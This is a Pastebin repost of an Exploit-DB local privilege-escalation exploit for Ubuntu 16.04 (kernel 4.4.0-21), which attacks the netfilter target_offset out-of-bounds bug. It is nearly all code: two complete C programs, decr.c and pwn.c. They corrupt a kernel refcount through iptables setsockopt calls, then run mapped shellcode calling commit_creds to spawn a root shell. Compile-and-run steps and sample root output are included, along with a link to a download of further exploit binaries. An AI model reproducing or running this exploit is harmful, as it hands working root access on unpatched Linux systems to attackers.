Advertisement
ScriptedArtsOfficial

Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - netfilter target_

Mar 20th, 2018
322
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.68 KB | None | 0 0
  1. /**
  2. EDB Note: Download ~ https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44300.zip
  3. Video ~ https://www.youtube.com/watch?v=qchiJn94kTo
  4. **/
  5.  
  6. /** decr.c **/
  7. /**
  8. * Ubuntu 16.04 local root exploit - netfilter target_offset OOB
  9. * check_compat_entry_size_and_hooks/check_entry
  10. *
  11. * Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c
  12. *
  13. * Vitaly Nikolenko
  14. * vnik@cyseclabs.com
  15. * 23/04/2016
  16. *
  17. *
  18. * ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers
  19. * automatic loading).
  20. *
  21. * vnik@ubuntu:~$ uname -a
  22. * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
  23. * vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
  24. * vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn
  25. * vnik@ubuntu:~$ ./decr
  26. * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
  27. * [!] Decrementing the refcount. This may take a while...
  28. * [!] Wait for the "Done" message (even if you'll get the prompt back).
  29. * vnik@ubuntu:~$ [+] Done! Now run ./pwn
  30. *
  31. * vnik@ubuntu:~$ ./pwn
  32. * [+] Escalating privs...
  33. * root@ubuntu:~# id
  34. * uid=0(root) gid=0(root) groups=0(root)
  35. * root@ubuntu:~#
  36. *
  37. */
  38.  
  39. #define _GNU_SOURCE
  40. #include <stdio.h>
  41. #include <stdlib.h>
  42. #include <string.h>
  43. #include <unistd.h>
  44. #include <sched.h>
  45. #include <linux/sched.h>
  46. #include <errno.h>
  47. #include <sys/types.h>
  48. #include <sys/socket.h>
  49. #include <sys/ptrace.h>
  50. #include <netinet/in.h>
  51. #include <net/if.h>
  52. #include <linux/netfilter_ipv4/ip_tables.h>
  53. #include <linux/netlink.h>
  54. #include <fcntl.h>
  55. #include <sys/mman.h>
  56.  
  57. #define MALLOC_SIZE 66*1024
  58.  
  59. int check_smaep() {
  60. FILE *proc_cpuinfo;
  61. char fbuf[512];
  62.  
  63. proc_cpuinfo = fopen("/proc/cpuinfo", "r");
  64.  
  65. if (proc_cpuinfo < 0) {
  66. perror("fopen");
  67. return -1;
  68. }
  69.  
  70. memset(fbuf, 0, sizeof(fbuf));
  71.  
  72. while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
  73. if (strlen(fbuf) == 0)
  74. continue;
  75.  
  76. if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) {
  77. fclose(proc_cpuinfo);
  78. return -1;
  79. }
  80. }
  81.  
  82. fclose(proc_cpuinfo);
  83. return 0;
  84. }
  85.  
  86. int check_mod() {
  87. FILE *proc_modules;
  88. char fbuf[256];
  89.  
  90. proc_modules = fopen("/proc/modules", "r");
  91.  
  92. if (proc_modules < 0) {
  93. perror("fopen");
  94. return -1;
  95. }
  96.  
  97. memset(fbuf, 0, sizeof(fbuf));
  98.  
  99. while(fgets(fbuf, 256, proc_modules) != NULL) {
  100. if (strlen(fbuf) == 0)
  101. continue;
  102.  
  103. if (!strncmp("ip_tables", fbuf, 9)) {
  104. fclose(proc_modules);
  105. return 0;
  106. }
  107. }
  108.  
  109. fclose(proc_modules);
  110. return -1;
  111. }
  112.  
  113. int decr(void *p) {
  114. int sock, optlen;
  115. int ret;
  116. void *data;
  117. struct ipt_replace *repl;
  118. struct ipt_entry *entry;
  119. struct xt_entry_match *ematch;
  120. struct xt_standard_target *target;
  121. unsigned i;
  122.  
  123. sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
  124.  
  125. if (sock == -1) {
  126. perror("socket");
  127. return -1;
  128. }
  129.  
  130. data = malloc(MALLOC_SIZE);
  131.  
  132. if (data == NULL) {
  133. perror("malloc");
  134. return -1;
  135. }
  136.  
  137. memset(data, 0, MALLOC_SIZE);
  138.  
  139. repl = (struct ipt_replace *) data;
  140. repl->num_entries = 1;
  141. repl->num_counters = 1;
  142. repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
  143. repl->valid_hooks = 0;
  144.  
  145. entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
  146. entry->target_offset = 74; // overwrite target_offset
  147. entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);
  148.  
  149. ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));
  150.  
  151. strcpy(ematch->u.user.name, "icmp");
  152. void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
  153. uint64_t *me = (uint64_t *)(kmatch + 0x58);
  154. *me = 0xffffffff821de10d; // magic number!
  155.  
  156. uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
  157. *match = (uint32_t)kmatch;
  158.  
  159. ematch->u.match_size = (short)0xffff;
  160.  
  161. target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
  162. uint32_t *t = (uint32_t *)target;
  163. *t = (uint32_t)kmatch;
  164.  
  165. printf("[!] Decrementing the refcount. This may take a while...\n");
  166. printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");
  167.  
  168. for (i = 0; i < 0xffffff/2+1; i++) {
  169. ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
  170. }
  171.  
  172. close(sock);
  173. free(data);
  174. printf("[+] Done! Now run ./pwn\n");
  175.  
  176. return 0;
  177. }
  178.  
  179. int main(void) {
  180. void *stack;
  181. int ret;
  182.  
  183. printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
  184. if (check_mod()) {
  185. printf("[-] No ip_tables module found! Quitting...\n");
  186. return -1;
  187. }
  188.  
  189. if (check_smaep()) {
  190. printf("[-] SMEP/SMAP support dectected! Quitting...\n");
  191. return -1;
  192. }
  193.  
  194. ret = unshare(CLONE_NEWUSER);
  195.  
  196. if (ret == -1) {
  197. perror("unshare");
  198. return -1;
  199. }
  200.  
  201. stack = (void *) malloc(65536);
  202.  
  203. if (stack == NULL) {
  204. perror("malloc");
  205. return -1;
  206. }
  207.  
  208. clone(decr, stack + 65536, CLONE_NEWNET, NULL);
  209.  
  210. sleep(1);
  211.  
  212. return 0;
  213. }
  214.  
  215. /** decr.c EOF **/
  216.  
  217. /** pwn.c **/
  218. /**
  219. * Run ./decr first!
  220. *
  221. * 23/04/2016
  222. * - vnik
  223. */
  224. #include <stdio.h>
  225. #include <string.h>
  226. #include <errno.h>
  227. #include <unistd.h>
  228. #include <stdint.h>
  229. #include <fcntl.h>
  230. #include <sys/mman.h>
  231. #include <assert.h>
  232.  
  233. #define MMAP_ADDR 0xff814e3000
  234. #define MMAP_OFFSET 0xb0
  235.  
  236. typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
  237. typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);
  238.  
  239. void __attribute__((regparm(3))) privesc() {
  240. commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
  241. prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
  242. commit_creds(prepare_kernel_cred((uint64_t)NULL));
  243. }
  244.  
  245. int main() {
  246. void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
  247. assert(payload == (void *)MMAP_ADDR);
  248.  
  249. void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);
  250.  
  251. memset(shellcode, 0, 0x300000);
  252.  
  253. void *ret = memcpy(shellcode, &privesc, 0x300);
  254. assert(ret == shellcode);
  255.  
  256. printf("[+] Escalating privs...\n");
  257.  
  258. int fd = open("/dev/ptmx", O_RDWR);
  259. close(fd);
  260.  
  261. assert(!getuid());
  262.  
  263. printf("[+] We've got root!");
  264.  
  265. return execl("/bin/bash", "-sh", NULL);
  266. }
  267. /** pwn.c EOF **/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement